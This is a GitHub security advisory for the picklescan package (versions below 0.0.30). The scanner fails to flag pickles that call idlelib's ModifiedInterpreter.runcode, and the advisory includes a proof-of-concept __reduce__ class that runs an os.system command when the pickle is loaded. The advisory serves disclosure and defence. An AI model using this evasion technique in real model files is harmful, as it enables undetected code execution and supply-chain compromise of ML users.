GHSA-3gf5-cxq9-w223 – picklescan

Package

Manager: pip
Name: picklescan
Vulnerable Version: >=0 <0.0.30

Severity

Level: Medium

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:U/RC:R

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

EPSS: N/A pctlN/A

Details

Picklescan is missing detection when calling built-in python idlelib.pyshell.ModifiedInterpreter.runcode ### Summary Using idlelib.pyshell.ModifiedInterpreter.runcode function, which is a built-in python library function to execute remote pickle file. ### Details The attack payload executes in the following steps: First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcode function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution. ### PoC ``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace class EvilIdlelibPyshellModifiedInterpreterRuncode: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace( executing=False, beginexecuting=str, canceled=False, closing=False, showtraceback=str, endexecuting=str, stderr=None, text=SimpleNamespace(), getvar=str ), rpcclt=None, debugger=None, checklinecache=str, active_seq=None, showtraceback=str, canceled=False, closing=False ) return ModifiedInterpreter.runcode, (fake_self, payload) ``` ### Impact Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. ### Corresponding https://github.com/FredericDT https://github.com/Qhaoduoyu

Metadata

Created: 2025-08-26T21:37:48Z
Modified: 2025-08-26T21:37:48Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/08/GHSA-3gf5-cxq9-w223/GHSA-3gf5-cxq9-w223.json
CWE IDs: []
Alternative ID: N/A
Finding: F004
Auto approve: 1